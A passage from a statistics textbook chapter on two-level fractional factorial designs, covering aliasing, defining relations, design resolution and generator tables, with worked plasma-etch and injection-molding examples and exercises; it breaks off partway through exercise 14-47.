Thus, the linear combination of observations in column A, ℓ_A, estimates both the main effect of A and the BC interaction. That is, the linear combination ℓ_A estimates the sum of these two effects $A + BC$. Similarly, ℓ_B estimates $B + AC$, and ℓ_C estimates $C + AB$. Two or more effects that have this property are called **aliases.** In our 2^{3-1} design, A and BC are aliases, B and AC are aliases, and C and AB are aliases. Aliasing is the direct result of fractional replication. In many practical situations, it will be possible to select the fraction so that the main effects and low-order interactions that are of interest will be aliased only with high-order interactions (which are probably negligible).

The alias structure for this design is found by using the defining relation $I = ABC$. Multiplying any effect by the defining relation yields the aliases for that effect. In our example, the alias of A is

$$A = A \cdot ABC = A^2BC = BC$$

since $A \cdot I = A$ and $A^2 = I$. The aliases of B and C are

$$B = B \cdot ABC = AB^2C = AC$$

and

$$C = C \cdot ABC = ABC^2 = AB$$

Now suppose that we had chosen the other one-half fraction, that is, the treatment combinations in Table 14-25 associated with minus on ABC. These four runs are shown in the

lower half of Table 14-25 and in Fig. 14-32(b). The defining relation for this design is $I = -ABC$. The aliases are $A = -BC$, $B = -AC$, and $C = -AB$. Thus, estimates of A, B, and C that result from this fraction really estimate $A - BC$, $B - AC$, and $C - AB$. In practice, it usually does not matter which one-half fraction we select. The fraction with the plus sign in the defining relation is usually called the **principal fraction,** and the other fraction is usually called the **alternate fraction.**

Note that if we had chosen AB as the generator for the fractional factorial,

$$A = A \cdot AB = B$$

and the two main effects of A and B would be aliased. This typically loses important information.

Sometimes we use **sequences** of fractional factorial designs to estimate effects. For example, suppose we had run the principal fraction of the 2^{3-1} design with generator ABC. From this design we have the following effect estimates:

$$\ell_A = A + BC$$
$$\ell_B = B + AC$$
$$\ell_C = C + AB$$

Suppose that we are willing to assume at this point that the two-factor interactions are negligible. If they are, the 2^{3-1} design has produced estimates of the three main effects A, B, and C. However, if after running the principal fraction we are uncertain about the interactions, it is possible to estimate them by running the *alternate* fraction. The alternate fraction produces the following effect estimates:

$$\ell_A' = A - BC$$
$$\ell_B' = B - AC$$
$$\ell_C' = C - AB$$

We may now obtain de-aliased estimates of the main effects and two-factor interactions by adding and subtracting the linear combinations of effects estimated in the two individual fractions. For example, suppose we want to de-alias A from the two-factor interaction BC. Since $\ell_A = A + BC$ and $\ell_A' = A - BC$, we can combine these effect estimates as follows:

$$\frac{1}{2}(\ell_A + \ell_A') = \frac{1}{2}(A + BC + A - BC) = A$$

and

$$\frac{1}{2}(\ell_A - \ell_A') = \frac{1}{2}(A + BC - A + BC) = BC$$

For all three pairs of effect estimates, we would obtain the following results:

Effect, i	**from $\frac{1}{2}(l_i + l_i')$**	**from $\frac{1}{2}(l_i - l_i')$**
$i = A$	$\frac{1}{2}(A + BC + A - BC) = A$	$\frac{1}{2}[A + BC - (A - BC)] = BC$
$i = B$	$\frac{1}{2}(B + AC + B - AC) = B$	$\frac{1}{2}[B + AC - (B - AC)] = AC$
$i = C$	$\frac{1}{2}(C + AB + C - AB) = C$	$\frac{1}{2}[C + AB - (C - AB)] = AB$

Thus, by combining a sequence of two fractional factorial designs, we can isolate both the main effects and the two-factor interactions. This property makes the fractional factorial design highly useful in experimental problems since we can run sequences of small, efficient experiments, combine information across *several* experiments, and take advantage of learning about the process we are experimenting with as we go along. This is an illustration of the concept of sequential experimentation.

A 2^{k-1} design may be constructed by writing down the treatment combinations for a full factorial with $k - 1$ factors, called the **basic design,** and then adding the kth factor by identifying its plus and minus levels with the plus and minus signs of the highest order interaction. Therefore, a 2^{3-1} fractional factorial is constructed by writing down the basic design as a full 2^2 factorial and then equating factor C with the $\pm AB$ interaction. Thus, to construct the principal fraction, we would use $C = +AB$ as follows:

Basic Design		**Fractional Design**		
Full 2^2		**$2^{3-1}, I = +ABC$**		
A	B	A	B	$C = AB$
−	−	−	−	+
+	−	+	−	−
−	+	−	+	−
+	+	+	+	+

To obtain the alternate fraction we would equate the last column to $C = -AB$.

EXAMPLE 14-8 Plasma Etch

To illustrate the use of a one-half fraction, consider the plasma etch experiment described in Example 14-5. Suppose that we decide to use a 2^{4-1} design with $I = ABCD$ to investigate the four factors gap (A), pressure (B), C_2F_6 flow rate (C), and power setting (D). This design would be constructed by writing down as the basic design a 2^3 in the factors A, B, and C and then setting the levels of the fourth factor $D = ABC$. The design and the resulting etch rates are shown in Table 14-26. The design is shown graphically in Fig. 14-33.

In this design, the main effects are aliased with the three-factor interactions; note that the alias of A is

$$A \cdot I = A \cdot ABCD \qquad \text{or} \qquad A = A^2BCD = BCD$$

and similarly $B = ACD$, $C = ABD$, and $D = ABC$.

The two-factor interactions are aliased with each other. For example, the alias of AB is CD:

$$AB \cdot I = AB \cdot ABCD \qquad \text{or} \qquad AB = A^2B^2CD = CD$$

Table 14-26 The 2^{4-1} Design with Defining Relation $I = ABCD$

A	B	C	$D = ABC$	Treatment Combination	Etch Rate
−	−	−	−	(1)	550
+	−	−	+	*ad*	749
−	+	−	+	*bd*	1052
+	+	−	−	*ab*	650
−	−	+	+	*cd*	1075
+	−	+	−	*ac*	642
−	+	+	−	*bc*	601
+	+	+	+	*abcd*	729

Figure 14-33 The 2^{4-1} design for the experiment of Example 14-8.

The other aliases are $AC = BD$ and $AD = BC$.

The estimates of the main effects and their aliases are found using the four columns of signs in Table 14-26. For example, from column A we obtain the estimated effect

$$\ell_A = A + BCD = \tfrac{1}{4}(-550 + 749 - 1052 + 650 - 1075 + 642 - 601 + 729) = -127.00$$

The other columns produce

$$\ell_B = B + ACD = 4.00 \quad \ell_C = C + ABD = 11.50$$

and

$$\ell_D = D + ABC = 290.50$$

Clearly, ℓ_A and ℓ_D are large, and if we believe that the three-factor interactions are negligible, the main effects A (gap) and D (power setting) significantly affect etch rate.

The interactions are estimated by forming the AB, AC, and AD columns and adding them to the table. For example, the signs in the AB column are $+, -, -, +, +, -, -, +$, and this column produces the estimate

$$\ell_{AB} = AB + CD = \tfrac{1}{4}(550 - 749 - 1052 + 650 + 1075 - 642 - 601 + 729) = -10$$

From the AC and AD columns we find

$$\ell_{AC} = AC + BD = -25.50$$

and

$$\ell_{AD} = AD + BC = -197.50$$

The ℓ_{AD} estimate is large; the most straightforward interpretation of the results is that since A and D are large, this is the AD interaction. Thus, the results obtained from the 2^{4-1} design agree with the full factorial results in Example 14-5.

Practical Interpretation: Often a fraction of a 2^k design is satisfactory when an experiment uses four or more factors.

Computer Solution

Fractional factorial designs are usually analyzed with a software package. Table 14-26 shows the effect estimates obtained from Minitab for Example 14-8. They are in agreement with the hand calculation reported earlier.

Normal Probability Plot of Effects

The normal probability plot is very useful in assessing the significance of effects from a fractional factorial design, particularly when many effects are to be estimated. We strongly recommend examining this plot. Figure 14-34 presents the normal probability plot of the effects from Example 14-8. This plot was obtained from Minitab. Notice that the A, D, and AD interaction effects stand out clearly in this graph.

Figure 14-34 Normal probability plot of the effects from Minitab, Example 14-8.

Table 14-27 Effect Estimates from Minitab, Example 14-8

Fractional Factorial Fit

Estimated Effects and Coefficients for Etch Rt

Term	Effect	Coef
Constant		756.00
Gap	−127.00	−63.50
Pressure	4.00	2.00
F	11.50	5.75
Power	290.50	145.25
Gap*Pressure	−10.00	−5.00
Gap*F	−25.50	−12.75
Gap*Power	−197.50	−98.75

Residual Analysis

The residuals can be obtained from a fractional factorial by the regression model method shown previously. Note that the Minitab output for Example 14-8 in Table 14-27 shows the regression coefficients. The residuals should be graphically analyzed as we have discussed before, both to assess the validity of the underlying model assumptions and to gain additional insight into the experimental situation.

Projection of the 2^{k-1} Design

If one or more factors from a one-half fraction of a 2^k can be dropped, the design will project into a full factorial design. For example, Fig. 14-35 presents a 2^{3-1} design. Notice that this design will project into a full factorial in any two of the three original factors. Thus, if we think that at most two of the three factors are important, the 2^{3-1} design is an excellent design for identifying the significant factors. This **projection property** is highly useful in factor screening,

Figure 14-35 Projection of a 2^{3-1} design into three 2^2 designs.

Figure 14-36 The 2^2 design obtained by dropping factors B and C from the plasma etch experiment in Example 14-7.

because it allows negligible factors to be eliminated, resulting in a stronger experiment in the active factors that remain.

In the 2^{4-1} design used in the plasma etch experiment in Example 14-8, we found that two of the four factors (B and C) could be dropped. If we eliminate these two factors, the remaining columns in Table 14-24 form a 2^2 design in the factors A and D, with two replicates. This design is shown in Fig. 14-36. The main effects of A and D and the strong two-factor AD interaction are clearly evident from this graph.

Design Resolution

The concept of design resolution is a useful way to catalog fractional factorial designs according to the alias patterns they produce. Designs of resolution III, IV, and V are particularly important. The definitions of these terms and an example of each follow.

1. **Resolution III Designs.** These are designs in which no main effects are aliased with any other main effect, but main effects are aliased with two-factor interactions and some two-factor interactions may be aliased with each other. The 2^{3-1} design with $I = ABC$ is a resolution III design. We usually employ a Roman numeral subscript to indicate design resolution; thus, this one-half fraction is a 2^{3-1}_{III} design.
2. **Resolution IV Designs.** These are designs in which no main effect is aliased with any other main effect or two-factor interactions, but two-factor interactions are aliased with each other. The 2^{4-1} design with $I = ABCD$ used in Example 14-8 is a resolution IV design (2^{4-1}_{IV}).
3. **Resolution V Designs.** These are designs in which no main effect or two-factor interaction is aliased with any other main effect or two-factor interaction, but two-factor interactions are aliased with three-factor interactions. The 2^{5-1} design with $I = ABCDE$ is a resolution V design (2^{5-1}_{V}).

Resolution III and IV designs are particularly useful in factor screening experiments. A resolution IV design provides good information about main effects and will provide some information about all two-factor interactions.

14-7.2 Smaller Fractions: The 2^{k-p} Fractional Factorial

Although the 2^{k-1} design is valuable in reducing the number of runs required for an experiment, we frequently find that smaller fractions will provide almost as much useful information at even

greater economy. In general, a 2^k design may be run in a $1/2^p$ fraction called a 2^{k-p} fractional factorial design. Thus, a $1/4$ fraction is called a 2^{k-2} design, a $1/8$ fraction is called a 2^{k-3} design, a $1/16$ fraction a 2^{k-4} design, and so on.

To illustrate the $1/4$ fraction, consider an experiment with six factors and suppose that the engineer is primarily interested in main effects but would also like to get some information about the two-factor interactions. A 2^{6-1} design would require 32 runs and would have 31 degrees of freedom for estimating effects. Since there are only six main effects and 15 two-factor interactions, the one-half fraction is inefficient—it requires too many runs. Suppose we consider a $1/4$ fraction, or a 2^{6-2} design. This design contains 16 runs and, with 15 degrees of freedom, will allow all six main effects to be estimated, with some capability for examining the two-factor interactions.

To generate this design, we would write down a 2^4 design in the factors A, B, C, and D as the basic design and then add two columns for E and F. To find the new columns we could select the two **design generators** $I = ABCE$ and $I = BCDF$. Thus, column E would be found from $E = ABC$, and column F would be $F = BCD$. That is, columns $ABCE$ and $BCDF$ are equal to the identity column. However, we know that the product of any two columns in the table of plus and minus signs for a 2^k design is just another column in the table; therefore, the product of $ABCE$ and $BCDF$ or $ABCE(BCDF) = AB^2C^2DEF = ADEF$ is also an identity column. Consequently, the **complete defining relation** for the 2^{6-2} design is

$$I = ABCE = BCDF = ADEF$$

We refer to each term in a defining relation (such as $ABCE$ above) as a **word.** To find the alias of any effect, simply multiply the effect by each word in the foregoing defining relation. For example, the alias of A is

$$A = BCE = ABCDF = DEF$$

The complete alias relationships for this design are shown in Table 14-28. In general, the resolution of a 2^{k-p} design is equal to the number of letters in the shortest word in the complete defining relation. Therefore, this is a resolution IV design; main effects are aliased with three-factor and higher interactions, and two-factor interactions are aliased with each other. This design would provide good information on the main effects and would give some idea about the strength of the two-factor interactions. The construction and analysis of the design are illustrated in Example 14-9.

Table 14-28 Alias Structure for the 2_{IV}^{6-2} Design with $I = ABCE = BCDF = ADEF$

$A = BCE = DEF = ABCDF$	$AB = CE = ACDF = BDEF$
$B = ACE = CDF = ABDEF$	$AC = BE = ABDF = CDEF$
$C = ABE = BDF = ACDEF$	$AD = EF = BCDE = ABCF$
$D = BCF = AEF = ABCDE$	$AE = BC = DF = ABCDEF$
$E = ABC = ADF = BCDEF$	$AF = DE = BCEF = ABCD$
$F = BCD = ADE = ABCEF$	$BD = CF = ACDE = ABEF$
$ABD = CDE = ACF = BEF$	$BF = CD = ACEF = ABDE$
$ACD = BDE = ABF = CEF$	

Table 14-29 A 2_{IV}^{6-2} Design for the Injection-Molding Experiment

Run	A	B	C	D	$E = ABC$	$F = BCD$	Observed Shrinkage (×10)
1	−	−	−	−	−	−	6
2	+	−	−	−	+	−	10
3	−	+	−	−	+	+	32
4	+	+	−	−	−	+	60
5	−	−	+	−	+	+	4
6	+	−	+	−	−	+	15
7	−	+	+	−	−	−	26
8	+	+	+	−	+	−	60
9	−	−	−	+	−	+	8
10	+	−	−	+	+	+	12
11	−	+	−	+	+	−	34
12	+	+	−	+	−	−	60
13	−	−	+	+	+	−	16
14	+	−	+	+	−	−	5
15	−	+	+	+	−	+	37
16	+	+	+	+	+	+	52

EXAMPLE 14-9 Injection Molding

Parts manufactured in an injection-molding process are showing excessive shrinkage, which is causing problems in assembly operations upstream from the injection-molding area. In an effort to reduce the shrinkage, a quality-improvement team has decided to use a designed experiment to study the injection-molding process. The team investigates six factors—mold temperature (A), screw speed (B), holding time (C), cycle time (D), gate size (E), and holding pressure (F)—each at two levels, with the objective of learning how each factor affects shrinkage and obtaining preliminary information about how the factors interact.

The team decides to use a 16-run two-level fractional factorial design for these six factors. The design is constructed by writing down a 2^4 as the basic design in the factors A, B, C, and D and then setting $E = ABC$ and $F = BCD$ as discussed above. Table 14-29 shows the design, along with the observed shrinkage (×10) for the test part produced at each of the 16 runs in the design.

A normal probability plot of the effect estimates from this experiment is shown in Fig. 14-37. The only large effects are A (mold temperature), B (screw speed), and the AB interaction. In light of the alias relationship in Table 14-28, it seems reasonable to tentatively adopt these conclusions. The plot of the AB interaction in Fig. 14-38 shows that the process is insensitive to temperature if the screw speed is at the low level but sensitive to temperature if the screw speed is at the high level. With the screw speed at a low level, the process should produce an average shrinkage of around 10% regardless of the temperature level chosen.

Based on this initial analysis, the team decides to set both the mold temperature and the screw speed at the low level. This set of conditions should reduce the mean shrinkage of parts to around 10%. However, the variability in shrinkage from part to part is still a potential problem. In effect, the mean shrinkage can be adequately reduced by the above modifications; however, the part-to-part variability in shrinkage over a production run could still cause problems in assembly. One way to address this issue is to see if any of the process factors affect the variability in parts shrinkage.

Figure 14-39 presents the normal probability plot of the residuals. This plot appears satisfactory. The plots of residuals versus each factor were then constructed. One of these plots, that for residuals versus factor C (holding time), is shown in Fig. 14-40. The plot reveals much less scatter in the residuals at the low holding time than at the high holding time. These residuals were obtained in the usual way from a model for predicted shrinkage

$$\begin{aligned}\hat{y} &= \hat{\beta}_0 + \hat{\beta}_1 x_1 + \hat{\beta}_2 x_2 + \hat{\beta}_{12} x_1 x_2 \\ &= 27.3125 + 6.9375 x_1 + 17.8125 x_2 + 5.9375 x_1 x_2\end{aligned}$$

where x_1, x_2, and x_1x_2 are coded variables that correspond to the factors A and B and the AB interaction. The regression

Figure 14-37 Normal probability plot of effects for Example 14-9.

Figure 14-38 Plot of *AB* (mold temperature–screw speed) interaction for Example 14-9.

model used to produce the residuals essentially removes the location effects of *A*, *B*, and *AB* from the data; the residuals therefore contain information about unexplained variability. Figure 14-40 indicates that there is a pattern in the variability and that the variability in the shrinkage of parts may be smaller when the holding time is at the low level.

Practical Interpretation: Figure 14-41 shows the data from this experiment projected onto a cube in the factors *A*, *B*, and *C*. The average observed shrinkage and the range of observed shrinkage are shown at each corner of the cube. From inspection of this figure, we see that running the process with the screw speed (*B*) at the low level is the key to reducing average parts shrinkage. If *B* is low, virtually any combination of temperature (*A*) and holding time (*C*) will result in low values of average parts shrinkage. However, from examining the ranges of the shrinkage values at each corner of the cube, it is immediately clear that setting the holding time (*C*) at the low level is the most appropriate choice if we wish to keep the part-to-part variability in shrinkage low during a production run.

Figure 14-39 Normal probability plot of residuals for Example 14-9.

Figure 14-40 Residuals versus holding time (*C*) for Example 14-9.

Figure 14-41 Average shrinkage and range of shrinkage in factors A, B, and C for Example 14-9.

The concepts used in constructing the 2^{6-2} fractional factorial design in Example 14-9 can be extended to the construction of any 2^{k-p} fractional factorial design. In general, a 2^k fractional factorial design containing 2^{k-p} runs is called a $1/2^p$ fraction of the 2^k design or, more simply, a 2^{k-p} fractional factorial design. These designs require the selection of p independent generators. The defining relation for the design consists of the p generators initially chosen and their $2^p - p - 1$ generalized interactions.

The alias structure may be found by multiplying each effect column by the defining relation. Care should be exercised in choosing the generators so that effects of potential interest are not aliased with each other. Each effect has $2^p - 1$ aliases. For moderately large values of k, we usually assume higher order interactions (say, third- or fourth-order or higher) to be negligible, and this greatly simplifies the alias structure.

It is important to select the p generators for the 2^{k-p} fractional factorial design in such a way that we obtain the best possible alias relationships. A reasonable criterion is to select the generators so that the resulting 2^{k-p} design has the highest possible design resolution. Montgomery (2009) presented a table of recommended generators for 2^{k-p} fractional factorial designs for $k \leq 15$ factors and up to as many as $n \leq 128$ runs. A portion of his table is reproduced here as Table 14-30. In this table, the generators are shown with either + or − choices; selection of all generators as + will give a principal fraction, while if any generators are − choices, the design will be one of the alternate fractions for the same family. The suggested generators in this table will result in a design of the highest possible resolution. Montgomery (2009) also provided a table of alias relationships for these designs.

EXAMPLE 14-10 Aliases with Seven Factors

To illustrate the use of Table 14-30, suppose that we have seven factors and that we are interested in estimating the seven main effects and obtaining some insight regarding the two-factor interactions. We are willing to assume that three-factor and higher interactions are negligible. This information suggests that a resolution IV design would be appropriate.

Table 14-30 shows that two resolution IV fractions are available: the 2_{IV}^{7-2} with 32 runs and the 2_{IV}^{7-3} with 16 runs. The aliases involving main effects and two- and three-factor interactions for the 16-run design are presented in Table 14-31. Notice that all seven main effects are aliased with three-factor interactions. All the two-factor interactions are aliased in groups of three. Therefore, this design will satisfy our objectives; that is, it will allow the estimation of the main effects, and it will give some insight regarding two-factor interactions. It is not necessary to run the 2_{IV}^{7-2} design, which would require

Table 14-30 Selected 2^{k-p} Fractional Factorial Designs

Number of Factors k	Fraction	Number of Runs	Design Generators	Number of Factors k	Fraction	Number of Runs	Design Generators
3	2_{III}^{3-1}	4	$C = \pm AB$	10			$H = \pm ABCG$
4	2_{IV}^{4-1}	8	$D = \pm ABC$				$J = \pm ACDE$
5	2_{V}^{5-1}	16	$E = \pm ABCD$		2_{V}^{10-3}	128	$K = \pm ACDF$
	2_{III}^{5-2}	8	$D = \pm AB$				$G = \pm BCDF$
			$E = \pm AC$				$H = \pm ACDF$
6	2_{VI}^{6-1}	32	$F = \pm ABCDE$				$J = \pm ABDE$
	2_{IV}^{6-2}	16	$E = \pm ABC$		2_{IV}^{10-4}	64	$K = \pm ABCE$
			$F = \pm BCD$				$F = \pm ABCD$
	2_{III}^{6-3}	8	$D = \pm AB$				$G = \pm ABCE$
			$E = \pm AC$				$H = \pm ABDE$
			$F = \pm BC$				$J = \pm ACDE$
7	2_{VII}^{7-1}	64	$G = \pm ABCDEF$		2_{IV}^{10-5}	32	$K = \pm BCDE$
	2_{IV}^{7-2}	32	$F = \pm ABCD$				$E = \pm ABC$
			$G = \pm ABDE$				$F = \pm BCD$
	2_{IV}^{7-3}	16	$E = \pm ABC$				$G = \pm ACD$
			$F = \pm BCD$				$H = \pm ABD$
			$G = \pm ACD$				$J = \pm ABCD$
	2_{III}^{7-4}	8	$D = \pm AB$		2_{III}^{10-6}	16	$K = \pm AB$
			$E = \pm AC$	11			$G = \pm CDE$
			$F = \pm BC$				$H = \pm ABCD$
			$G = \pm ABC$				$J = \pm ABF$
8	2_{V}^{8-2}	64	$G = \pm ABCD$				$K = \pm BDEF$
			$H = \pm ABEF$		2_{IV}^{11-5}	64	$L = \pm ADEF$
	2_{IV}^{8-3}	32	$F = \pm ABC$				$F = \pm ABC$
			$G = \pm ABD$				$G = \pm BCD$
			$H = \pm BCDE$				$H = \pm CDE$
	2_{IV}^{8-4}	16	$E = \pm BCD$				$J = \pm ACD$
			$F = \pm ACD$				$K = \pm ADE$
			$G = \pm ABC$		2_{IV}^{11-6}	32	$L = \pm BDE$
			$H = \pm ABD$				$E = \pm ABC$
9	2_{VI}^{9-2}	128	$H = \pm ACDFG$				$F = \pm BCD$
			$J = \pm BCEFG$				$G = \pm ACD$
	2_{IV}^{9-3}	64	$G = \pm ABCD$				$H = \pm ABD$
			$H = \pm ACEF$				$J = \pm ABCD$
			$J = \pm CDEF$				$K = \pm AB$
	2_{IV}^{9-4}	32	$F = \pm BCDE$		2_{III}^{11-7}	16	$L = \pm AC$
			$G = \pm ACDE$				
			$H = \pm ABDE$				
			$J = \pm ABCE$				
	2_{III}^{9-5}	16	$E = \pm ABC$				
			$F = \pm BCD$				
			$G = \pm ACD$				
			$H = \pm ABD$				
			$J = \pm ABCD$				

Source: Montgomery (2009)

Table 14-31 Generators, Defining Relation, and Aliases for the 2_{IV}^{7-3} Fractional Factorial Design

Generators and Defining Relation	
$E = ABC, \quad F = BCD, \quad G = ACD$	
$I = ABCE = BCDF = ADEF = ACDG = BDEG = ABFG = CEFG$	
Aliases	
$A = BCE = DEF = CDG = BFG$	$AB = CE = FG$
$B = ACE = CDF = DEG = AFG$	$AC = BE = DG$
$C = ABE = BDF = ADG = EFG$	$AD = EF = CG$
$D = BCF = AEF = ACG = BEG$	$AE = BC = DF$
$E = ABC = ADF = BDG = CFG$	$AF = DE = BG$
$F = BCD = ADE = ABG = CEG$	$AG = CD = BF$
$G = ACD = BDE = ABF = CEF$	$BD = CF = EG$
$ABD = CDE = ACF = BEF = BCG = AEG = DFG$	

32 runs. The construction of the 2_{IV}^{7-3} design is shown in Table 14-32. Notice that it was constructed by starting with the 16-run 2^4 design in A, B, C, and D as the basic design and then adding the three columns $E = ABC$, $F = BCD$, and $G = ACD$ as suggested in Table 14-30. Thus, the generators for this design are $I = ABCE$, $I = BCDF$, and $I = ACDG$. The complete defining relation is $I = ABCE = BCDF = ADEF = ACDG = BDEG = CEFG = ABFG$. This defining relation was used to produce the aliases in Table 14-31. For example, the alias relationship of A is

$$A = BCE = ABCDF = DEF = CDG$$
$$= ABDEG = ACEFG = BFG$$

which, if we ignore interactions higher than three factors, agrees with Table 14-31.

For seven factors, we can reduce the number of runs even further. The 2^{7-4} design is an eight-run experiment accommodating seven variables. This is a 1/16th fraction and is obtained by first writing down a 2^3 design as the basic design in the factors A, B, and C, and then

Table 14-32 A 2_{IV}^{7-3} Fractional Factorial Design

	Basic Design						
Run	A	B	C	D	$E = ABC$	$F = BCD$	$G = ACD$
1	−	−	−	−	−	−	−
2	+	−	−	−	+	−	+
3	−	+	−	−	+	+	−
4	+	+	−	−	−	+	+
5	−	−	+	−	+	+	+
6	+	−	+	−	−	+	−
7	−	+	+	−	−	−	+
8	+	+	+	−	+	−	−
9	−	−	−	+	−	+	+
10	+	−	−	+	+	+	−
11	−	+	−	+	+	−	+
12	+	+	−	+	−	−	−
13	−	−	+	+	+	−	−
14	+	−	+	+	−	−	+
15	−	+	+	+	−	+	−
16	+	+	+	+	+	+	+

Table 14-33 A 2_{III}^{7-4} Fractional Factorial Design

A	B	C	$D = AB$	$E = AC$	$F = BC$	$G = ABC$
−	−	−	+	+	+	−
+	−	−	−	−	+	+
−	+	−	−	+	−	+
+	+	−	+	−	−	−
−	−	+	+	−	−	+
+	−	+	−	+	−	−
−	+	+	−	−	+	−
+	+	+	+	+	+	+

forming the four new columns from $I = ABD$, $I = ACE$, $I = BCF$, and $I = ABCG$, as suggested in Table 14-30. The design is shown in Table 14-33.

The complete defining relation is found by multiplying the generators together two, three, and finally four at a time, producing

$$\begin{aligned} I &= ABD = ACE = BCF = ABCG = BCDE = ACDF = CDG = ABEF \\ &= BEG = AFG = DEF = ADEG = CEFG = BDFG = ABCDEFG \end{aligned}$$

The alias of any main effect is found by multiplying that effect through each term in the defining relation. For example, the alias of A is

$$\begin{aligned} A &= BD = CE = ABCF = BCG = ABCDE = CDF = ACDG \\ &= BEF = ABEG = FG = ADEF = DEG = ACEFG = ABDFG = BCDEFG \end{aligned}$$

This design is of resolution III, since the main effect is aliased with two-factor interactions. If we assume that all three-factor and higher interactions are negligible, the aliases of the seven main effects are

$$\begin{aligned} \ell_A &= A + BD + CE + FG \\ \ell_B &= B + AD + CF + EG \\ \ell_C &= C + AE + BF + DG \\ \ell_D &= D + AB + CG + EF \\ \ell_E &= E + AC + BG + DF \\ \ell_F &= F + BC + AG + DE \\ \ell_G &= G + CD + BE + AF \end{aligned}$$

This 2_{III}^{7-4} design is called a **saturated fractional factorial,** because all the available degrees of freedom are used to estimate main effects. It is possible to combine sequences of these resolution III fractional factorials to separate the main effects from the two-factor interactions. The procedure is illustrated in Montgomery (2009) and in Box, Hunter, and Hunter (2005).

EXERCISES FOR SECTION 14-7

14-41. Consider the problem in Exercise 14-17. Suppose that only half of the 32 runs could be made.

(a) Choose the half that you think should be run.
(b) Write out the alias relationships for your design.
(c) Estimate the factor effects.
(d) Plot the effect estimates on normal probability paper and interpret the results.
(e) Set up an analysis of variance for the factors identified as potentially interesting from the normal probability plot in part (d).
(f) Analyze the residuals from the model.
(g) Provide a practical interpretation of the results.

14-42. Suppose that in Exercise 14-20 it was possible to run only a $\frac{1}{2}$ fraction of the 2^4 design. Construct the design and use only the data from the eight runs you have generated to perform the analysis.

14-43. An article by L. B. Hare ["In the Soup: A Case Study to Identify Contributors to Filling Variability," *Journal of Quality Technology* (Vol. 20, pp. 36–43)] describes a factorial experiment used to study filling variability of dry soup mix packages. The factors are A = number of mixing ports through which the vegetable oil was added (1, 2), B = temperature surrounding the mixer (cooled, ambient), C = mixing time (60, 80 sec), D = batch weight (1500, 2000 lb), and E = number of days of delay between mixing and packaging (1, 7). Between 125 and 150 packages of soup were sampled over an eight-hour period for each run in the design, and the standard deviation of package weight was used as the response variable. The design and resulting data follow.

Std Order	A Mixer Ports	B Temp	C Time	D Batch Weight	E Delay	v Std Dev
1	−	−	−	−	−	1.13
2	+	−	−	−	+	1.25
3	−	+	−	−	+	0.97
4	+	+	−	−	−	1.7
5	−	−	+	−	+	1.47
6	+	−	+	−	−	1.28
7	−	+	+	−	−	1.18
8	+	+	+	−	+	0.98
9	−	−	−	+	+	0.78
10	+	−	−	+	−	1.36
11	−	+	−	+	−	1.85
12	+	+	−	+	+	0.62
13	−	−	+	+	−	1.09
14	+	−	+	+	+	1.1
15	−	+	+	+	+	0.76
16	+	+	+	+	−	2.1

(a) What is the generator for this design?
(b) What is the resolution of this design?
(c) Estimate the factor effects. Which effects are large?
(d) Does a residual analysis indicate any problems with the underlying assumptions?
(e) Draw conclusions about this filling process.

14-44. Montgomery (2009) described a 2^{4-1} fractional factorial design used to study four factors in a chemical process. The factors are A = temperature, B = pressure, C = concentration, and D = stirring rate, and the response is filtration rate. The design and the data are as follows:

Run	A	B	C	$D = ABC$	Treatment Combination	Filtration Rate
1	−	−	−	−	(1)	45
2	+	−	−	+	*ad*	100
3	−	+	−	+	*bd*	45
4	+	+	−	−	*ab*	65
5	−	−	+	+	*cd*	75
6	+	−	+	−	*ac*	60
7	−	+	+	−	*bc*	80
8	+	+	+	+	*abcd*	96

(a) Write down the alias relationships.
(b) Estimate the factor effects. Which factor effects appear large?
(c) Project this design into a full factorial in the three apparently important factors and provide a practical interpretation of the results.

14-45. R. D. Snee ("Experimenting with a Large Number of Variables," in *Experiments in Industry: Design, Analysis and Interpretation of Results*, Snee, Hare, and Trout, eds., ASQC, 1985) described an experiment in which a 2^{5-1} design with $I = ABCDE$ was used to investigate the effects of five factors on the color of a chemical product. The factors are A = solvent/reactant, B = catalyst/reactant, C = temperature, D = reactant purity, and E = reactant pH. The results obtained are as follows:

$e = -0.63$	$d = 6.79$
$a = 2.51$	$ade = 6.47$
$b = -2.68$	$bde = 3.45$
$abe = 1.66$	$abd = 5.68$
$c = 2.06$	$cde = 5.22$
$ace = 1.22$	$acd = 4.38$
$bce = -2.09$	$bcd = 4.30$
$abc = 1.93$	$abcde = 4.05$

(a) Prepare a normal probability plot of the effects. Which factors are active?

(b) Calculate the residuals. Construct a normal probability plot of the residuals and plot the residuals versus the fitted values. Comment on the plots.

(c) If any factors are negligible, collapse the 2^{5-1} design into a full factorial in the active factors. Comment on the resulting design, and interpret the results.

14-46. An article in *Quality Engineering* ["A Comparison of Multi-response Optimization: Sensitivity to Parameter Selection" (1999, Vol. 11, pp. 405–415)] conducted a half replicate of a 2^5 factorial design to optimize the retort process of beef stew MREs, a military ration. The design factors are x_1 = Sauce Viscosity, x_2 = Residual Gas, x_3 = Solid/Liquid Ratio, x_4 = Net Weight, x_5 = Rotation Speed. The response variable is the heating rate index, a measure of heat penetration, and there are two replicates.

						Heating Rate Index	
Run	x_1	x_2	x_3	x_4	x_5	I	II
1	−1	−1	−1	−1	1	8.46	9.61
2	1	−1	−1	−1	−1	15.68	14.68
3	−1	1	−1	−1	−1	14.94	13.09
4	1	1	−1	−1	1	12.52	12.71
5	−1	−1	1	−1	−1	17	16.36
6	1	−1	1	−1	1	11.44	11.83
7	−1	1	1	−1	1	10.45	9.22
8	1	1	1	−1	−1	19.73	16.94
9	−1	−1	−1	1	−1	17.37	16.36
10	1	−1	−1	1	1	14.98	11.93
11	−1	1	−1	1	1	8.4	8.16
12	1	1	−1	1	−1	19.08	15.40
13	−1	−1	1	1	1	13.07	10.55
14	1	−1	1	1	−1	18.57	20.53
15	−1	1	1	1	−1	20.59	21.19
16	1	1	1	1	1	14.03	11.31

(a) Estimate the factor effects. Based on a normal probability plot of the effect estimates, identify a model for the data from this experiment.

(b) Conduct an ANOVA based on the model identified in part (a). What are your conclusions?

(c) Analyze the residuals and comment on model adequacy.

(d) Find a regression model to predict yield in terms of the coded factor levels.

(e) This experiment was replicated, so an ANOVA could have been conducted without using a normal plot of the effects to tentatively identify a model. What model would be appropriate? Use the ANOVA to analyze this model and compare the results with those obtained from the normal probability plot approach.

14-47. An article in *Industrial and Engineering Chemistry* ["More on Planning Experiments to Increase Research Efficiency" (1970, pp. 60–65)] uses a 2^{5-2} design to investigate the effect on process yield of A = condensation temperature, B = amount of material 1, C = solvent volume, D = condensation time, and E = amount of material 2. The results obtained are as follows:

